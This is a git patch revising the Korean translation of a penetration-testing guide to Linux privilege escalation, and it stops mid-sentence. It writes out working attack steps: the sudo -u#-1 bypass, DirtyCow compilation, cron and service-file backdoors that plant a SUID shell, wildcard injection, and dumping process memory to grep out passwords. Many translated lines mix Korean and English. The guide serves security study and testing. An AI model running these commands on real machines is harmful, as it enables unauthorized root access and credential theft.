From 18faa1cfaf5d9e810f2655d6e65eeb69afefefd9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:58:36 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m --- .../privilege-escalation/README.md | 676 +++++++++--------- .../pentesting-web/apache.md | 159 ++-- 2 files changed, 440 insertions(+), 395 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 36f30636a..cbfcdc977 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,50 +6,50 @@ ### OS 정보 -운영 중인 OS에 대한 정보를 얻는 것부터 시작합시다. +실행 중인 OS에 대한 정보를 알아보는 것부터 시작하자 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### 경로 +### Path -만약 **`PATH`** 변수 내의 어떤 폴더에 쓰기 권한이 있다면, 일부 라이브러리나 바이너리를 탈취할 수 있을지도 모릅니다: +만약 **have write permissions on any folder inside the `PATH`** 변수라면 일부 라이브러리나 바이너리를 hijack할 수 있습니다: ```bash echo $PATH ``` -### Env info +### 환경 정보 -흥미로운 정보, 비밀번호 또는 API 키가 환경 변수에 있습니까? +환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -커널 버전을 확인하고 권한 상승에 사용할 수 있는 취약점이 있는지 확인하십시오. +kernel 버전을 확인하여 escalate privileges에 사용할 수 있는 exploit가 있는지 확인하세요 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +다음에서 좋은 vulnerable kernel list와 일부 이미 **compiled exploits**를 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +다른 사이트들에서 일부 **compiled exploits**를 찾을 수 있는 곳: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -그 웹에서 모든 취약한 커널 버전을 추출하려면 다음과 같이 할 수 있습니다: +그 웹에서 모든 vulnerable kernel versions를 추출하려면 다음을 수행하세요: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -커널 익스플로잇을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: +kernel exploits를 검색하는 데 도움이 될 수 있는 도구는: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 2.x 커널에 대한 익스플로잇만 확인) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, kernel 2.x용 exploit만 확인함) -항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 일부 커널 익스플로잇에 기록되어 있을 것이며, 그러면 이 익스플로잇이 유효하다는 것을 확신할 수 있습니다. +항상 **Google에서 kernel version을 검색하라**, 해당 kernel 버전이 어떤 kernel exploit에 적혀 있을 수 있으므로 그 exploit가 유효한지 확신할 수 있다. ### CVE-2016-5195 (DirtyCow) -Linux 권한 상승 - Linux 커널 <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -57,36 +57,36 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo 버전 +### Sudo version -취약한 sudo 버전은 다음에 나타납니다: +다음에 나타나는 취약한 sudo 버전을 기반으로: ```bash searchsploit sudo ``` -이 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. +다음 grep으로 sudo 버전이 취약한지 확인할 수 있습니다. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -From @sickrov +작성자 @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg 서명 검증 실패 -**smasher2 box of HTB**에서 이 취약점이 어떻게 악용될 수 있는지에 대한 **예제**를 확인하세요. +**smasher2 box of HTB**에서 이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**를 확인하세요. ```bash dmesg 2>/dev/null | grep "signature" ``` -### 시스템 열거 추가 +### 더 많은 시스템 열거 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 가능한 방어 수단 열거 +## 가능한 방어책 열거 ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Docker 컨테이너 내부에 있다면, 컨테이너에서 탈출을 시도할 수 있습니다: - +docker container 내부에 있다면 그 안에서 탈출을 시도할 수 있습니다: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Drives -**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 마운트 해제된 것이 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다. +어떤 것이 **mounted and unmounted**인지, 어디에 위치해 있고 그 이유가 무엇인지 확인하세요. 만약 어떤 것이 unmounted 상태라면 mount를 시도해 개인 정보를 확인해볼 수 있습니다 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 유용한 소프트웨어 -유용한 바이너리 나열 +유용한 바이너리를 열거 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -또한 **어떤 컴파일러가 설치되어 있는지 확인하십시오**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다. +또한, **any compiler is installed**인지 확인하세요. 이는 일부 kernel exploit를 사용해야 할 경우 유용합니다. 사용하려는 machine(또는 유사한 machine)에서 compile하는 것이 권장되기 때문입니다. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 취약한 소프트웨어 설치됨 +### 취약한 소프트웨어 설치 -**설치된 패키지 및 서비스의 버전**을 확인하십시오. 권한 상승을 위해 악용될 수 있는 오래된 Nagios 버전(예:)이 있을 수 있습니다…\ -더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 좋습니다. +**설치된 패키지와 서비스의 버전**을 확인하세요. 어쩌면 오래된 Nagios 버전(예를 들어)이 있어 escalating privileges에 악용될 수 있습니다…\ +더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것을 권장합니다. ```bash dpkg -l #Debian rpm -qa #Centos ``` -SSH에 대한 액세스 권한이 있는 경우 **openVAS**를 사용하여 머신에 설치된 구식 및 취약한 소프트웨어를 확인할 수 있습니다. +머신에 SSH로 접근할 수 있다면, 머신 내부에 설치된 구버전 또는 취약한 소프트웨어를 확인하기 위해 **openVAS**를 사용할 수도 있습니다. -> [!NOTE] > _이 명령은 대부분 쓸모없는 많은 정보를 표시하므로, 설치된 소프트웨어 버전이 알려진 취약점에 취약한지 확인할 수 있는 OpenVAS와 같은 응용 프로그램을 사용하는 것이 좋습니다._ +> [!NOTE] > _해당 명령어들은 많은 정보를 출력하는데, 대부분 쓸모없을 수 있으므로 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 확인하는 OpenVAS와 같은 애플리케이션 사용을 권장합니다_ ## 프로세스 -**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오(예: root로 실행되는 tomcat?). +실행 중인 **어떤 프로세스들**인지 살펴보고, 어떤 프로세스가 **정상보다 더 많은 권한을 가지고 있는지** 확인하세요 (예: tomcat이 root로 실행되는 경우?) ```bash ps aux ps -ef top -n 1 ``` -항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스의 명령줄에서 `--inspect` 매개변수를 확인하여 이를 감지합니다.\ -또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가를 덮어쓸 수 있을지도 모릅니다. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다. -### 프로세스 모니터링 +### Process monitoring -[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 매우 유용할 수 있습니다. +프로세스를 모니터링하려면 [**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다. -### 프로세스 메모리 +### Process memory -서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\ -일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 많은 자격 증명을 발견하고자 할 때 유용합니다.\ -그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**. +일부 서버 서비스는 **자격 증명을 메모리에 평문으로 저장**합니다.\ +일반적으로 다른 사용자에 속한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 이는 보통 이미 root일 때 추가 자격 증명을 찾는 데 더 유용합니다.\ +하지만 **일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다는 것**을 기억하세요. > [!WARNING] -> 현재 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없음을 의미합니다. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 동일한 uid를 가진 모든 프로세스가 디버깅될 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다. -> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버깅될 수 있습니다. -> - **kernel.yama.ptrace_scope = 2**: 오직 관리자만 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다. -> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -FTP 서비스의 메모리에 접근할 수 있다면 (예를 들어) 힙을 가져와 그 안의 자격 증명을 검색할 수 있습니다. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,8 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일을 통해 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을 파일로 덤프**합니다. +주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지 보여주며**, 또한 **각 매핑된 영역의 권한을 보여줍니다**. +이 **mem** 가상 파일은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일로부터 어떤 **메모리 영역이 읽기 가능한지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 **mem 파일에서 해당 부분으로 이동해 모든 읽기 가능한 영역을 파일로 덤프합니다**. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`은 시스템의 **물리적** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ -일반적으로 `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다. +`/dev/mem`는 시스템의 **물리적** 메모리에 접근할 수 있게 해주며, 가상 메모리는 아니다. kernel의 가상 주소 공간은 /dev/kmem을 통해 접근할 수 있다.\ +일반적으로, `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있다. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump (linux용) -ProcDump는 Windows의 Sysinternals 도구 모음에서 클래식 ProcDump 도구를 재구성한 Linux 버전입니다. [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)에서 다운로드할 수 있습니다. +ProcDump는 Windows용 Sysinternals 툴 모음의 클래식 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 받을 수 있습니다: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,37 +270,37 @@ Press Ctrl-C to end monitoring without terminating the process. 프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_루트 요구 사항을 수동으로 제거하고 본인이 소유한 프로세스를 덤프할 수 있습니다. -- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)의 스크립트 A.5 (루트가 필요함) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 본인이 소유한 프로세스를 덤프할 수 있습니다 +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 권한이 필요합니다) -### 프로세스 메모리에서의 자격 증명 +### 프로세스 메모리에서 자격증명 -#### 수동 예제 +#### 수동 예시 -인증 프로세스가 실행 중인 것을 발견하면: +authenticator 프로세스가 실행 중이라면: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -프로세스를 덤프할 수 있습니다(프로세스의 메모리를 덤프하는 다양한 방법을 찾으려면 이전 섹션을 참조하세요) 그리고 메모리 내에서 자격 증명을 검색할 수 있습니다: +process를 dump할 수 있으며(앞의 섹션에서 process의 memory를 dump하는 다양한 방법을 확인하세요) memory 내부에서 credentials를 검색할 수 있습니다: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)은 **메모리에서 평문 자격 증명을 훔치고** 일부 **잘 알려진 파일**에서 가져옵니다. 제대로 작동하려면 루트 권한이 필요합니다. +도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 **메모리에서 평문 자격증명을 훔치며** 일부 **잘 알려진 파일**에서도 자격증명을 추출합니다. 제대로 동작하려면 root 권한이 필요합니다. -| 기능 | 프로세스 이름 | +| 기능 | 프로세스 이름 | | ------------------------------------------------- | -------------------- | -| GDM 비밀번호 (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (활성 FTP 연결) | vsftpd | -| Apache2 (활성 HTTP 기본 인증 세션) | apache2 | -| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### 검색 정규식/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -316,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -취약한 예약 작업이 있는지 확인하십시오. 루트에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다(와일드카드 취약점? 루트가 사용하는 파일을 수정할 수 있습니까? 심볼릭 링크를 사용할 수 있습니까? 루트가 사용하는 디렉토리에 특정 파일을 생성할 수 있습니까?). +스케줄된 작업이 취약한지 확인하세요. 어쩌면 root로 실행되는 스크립트를 이용할 수 있습니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks를 사용? root가 사용하는 디렉터리에 특정 파일을 생성?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,114 +324,115 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -예를 들어, _/etc/crontab_ 안에서 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_사용자 "user"가 /home/user에 대한 쓰기 권한을 가지고 있는 것을 주목하세요_) +(_사용자 "user"가 /home/user에 쓰기 권한이 있는 것을 주목하세요_) -이 crontab 안에서 root 사용자가 경로를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면, 예를 들어: _\* \* \* \* root overwrite.sh_\ -그렇다면, 다음을 사용하여 root 쉘을 얻을 수 있습니다: +이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 한다면. 예: _\* \* \* \* root overwrite.sh_\ + +그러면 다음을 사용해 root shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron에서 와일드카드가 있는 스크립트를 사용하는 경우 (Wildcard Injection) -루트에 의해 실행되는 스크립트가 명령어 안에 “**\***”를 포함하고 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예: +만약 스크립트가 root에 의해 실행되고 명령어 안에 “**\***”가 포함되어 있다면, 이를 이용해 예기치 않은 동작(예: privesc)을 유발할 수 있습니다. 예: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).** +**만약 wildcard가 다음과 같은 경로 앞에 있다면** _**/some/path/\***_ **, 취약하지 않습니다 (심지어** _**./\***_ **도 그렇지 않습니다).** -다음 페이지에서 더 많은 와일드카드 악용 기법을 읽어보세요: +더 많은 wildcard exploitation tricks에 대해서는 다음 페이지를 읽으세요: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### 크론 스크립트 덮어쓰기 및 심볼릭 링크 +### Cron script overwriting and symlink -**루트에 의해 실행되는 크론 스크립트를 수정할 수 있다면**, 매우 쉽게 쉘을 얻을 수 있습니다: +만약 root에 의해 실행되는 **cron script를 수정할 수 있다면**, 매우 쉽게 shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -루트에 의해 실행된 스크립트가 **당신이 완전한 접근 권한을 가진 디렉토리**를 사용한다면, 그 폴더를 삭제하고 **당신이 제어하는 스크립트를 제공하는 다른 폴더에 대한 심볼릭 링크 폴더를 생성하는 것이 유용할 수 있습니다.** +root에 의해 실행되는 script가 **directory where you have full access**를 사용한다면, 해당 폴더를 삭제하고 당신이 제어하는 script를 제공하는 다른 폴더로 **create a symlink folder to another one** 하는 것이 유용할 수 있다 ```bash ln -d -s ``` -### 자주 실행되는 cron 작업 +### 자주 실행되는 cron jobs -1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다. +프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 escalate privileges 할 수도 있습니다. -예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 다음, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다: +예를 들어, **0.1초마다 1분 동안 모니터링**, **실행 횟수가 적은 명령어 순으로 정렬**하고 가장 많이 실행된 명령어들을 삭제하려면 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**다음과 같이 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이것은 시작하는 모든 프로세스를 모니터링하고 나열합니다). +**다음 도구도 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작되는 모든 프로세스를 모니터링하고 나열합니다). -### 보이지 않는 크론 작업 +### 보이지 않는 cron jobs -크론 작업을 **주석 뒤에 캐리지 리턴을 넣어 생성하는 것이 가능합니다** (줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요): +코멘트 뒤에 **carriage return을 넣는 것**(without newline character)으로 cronjob을 생성할 수 있으며, 이렇게 만든 cron job은 동작합니다. 예시 (note the carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Services +## 서비스 -### Writable _.service_ files +### 쓰기 가능한 _.service_ 파일 -`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (아마도 기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\ -예를 들어, `.service` 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요. +작성할 수 있는 `.service` 파일이 있는지 확인하세요. 가능하다면 해당 파일을 **수정하여** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor**가 **실행되도록** 할 수 있습니다 (시스템이 재부팅될 때까지 기다려야 할 수도 있습니다).\ +예를 들어 `.service` 파일 안에 **`ExecStart=/tmp/script.sh`** 로 backdoor를 넣을 수 있습니다. -### Writable service binaries +### 쓰기 가능한 서비스 바이너리 -서비스에 의해 실행되는 바이너리에 **쓰기 권한**이 있는 경우, 이를 백도어로 변경할 수 있으므로 서비스가 다시 실행될 때 백도어가 실행됩니다. +서비스에서 실행되는 바이너리에 대한 **쓰기 권한**이 있다면, 해당 바이너리를 backdoors로 변경할 수 있으므로 서비스가 다시 실행될 때 backdoors가 실행됩니다. -### systemd PATH - Relative Paths +### systemd PATH - 상대 경로 -**systemd**에서 사용되는 PATH를 확인할 수 있습니다: +systemd에서 사용하는 PATH는 다음으로 확인할 수 있습니다: ```bash systemctl show-environment ``` -경로의 폴더 중 어느 곳에서든 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다: +경로의 어떤 폴더에 **write** 할 수 있다면 **escalate privileges** 할 수 있습니다. 다음과 같은 **relative paths being used on service configurations** 파일을 찾아야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 이진 파일**과 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오). +그런 다음, 당신이 쓸 수 있는 systemd PATH 폴더 안에 상대 경로 바이너리와 동일한 이름의 실행 파일을 생성하면, 서비스가 취약한 동작 (**Start**, **Stop**, **Reload**)을 실행하도록 요청될 때 당신의 backdoor가 실행됩니다 (비특권 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하세요). -**서비스에 대한 자세한 내용은 `man systemd.service`를 참조하십시오.** +**서비스에 대해 더 알고 싶다면 `man systemd.service`를 참조하세요.** ## **타이머** -**타이머**는 `**.service**` 파일 또는 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 캘린더 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용될 수 있습니다. +**타이머(Timers)**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. **타이머**는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행할 수 있어 cron의 대안으로 사용할 수 있습니다. -모든 타이머를 나열하려면: +다음 명령으로 모든 타이머를 열거할 수 있습니다: ```bash systemctl list-timers --all ``` -### Writable timers +### 쓰기 가능한 타이머 -타이머를 수정할 수 있다면, 시스템의 일부인 systemd.unit(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. +타이머를 수정할 수 있으면 systemd.unit(예: `.service` 또는 `.target`)에 존재하는 항목들을 실행하도록 만들 수 있다. ```bash Unit=backdoor.service ``` -문서에서 유닛에 대해 읽을 수 있습니다: +문서에서는 Unit이 다음과 같이 설명되어 있습니다: -> 이 타이머가 만료될 때 활성화할 유닛입니다. 인수는 ".timer" 접미사가 없는 유닛 이름입니다. 지정하지 않으면 이 값은 접미사를 제외하고 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다. +> 이 타이머가 만료될 때 활성화할 unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 접미사를 제외하면 timer unit과 동일한 이름을 가진 service로 기본 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 unit 이름은 접미사만 제외하고 동일하게 명명하는 것이 권장됩니다. -따라서 이 권한을 악용하려면 다음이 필요합니다: +따라서, 이 권한을 악용하려면 다음이 필요합니다: -- **쓰기 가능한 바이너리**를 **실행하는** 일부 systemd 유닛(예: `.service`)을 찾습니다. -- **상대 경로**를 **실행하는** 일부 systemd 유닛을 찾고, **systemd PATH**에 대해 **쓰기 권한**이 있어야 합니다(해당 실행 파일을 가장하기 위해). +- systemd unit(예: `.service`) 중 **쓰기 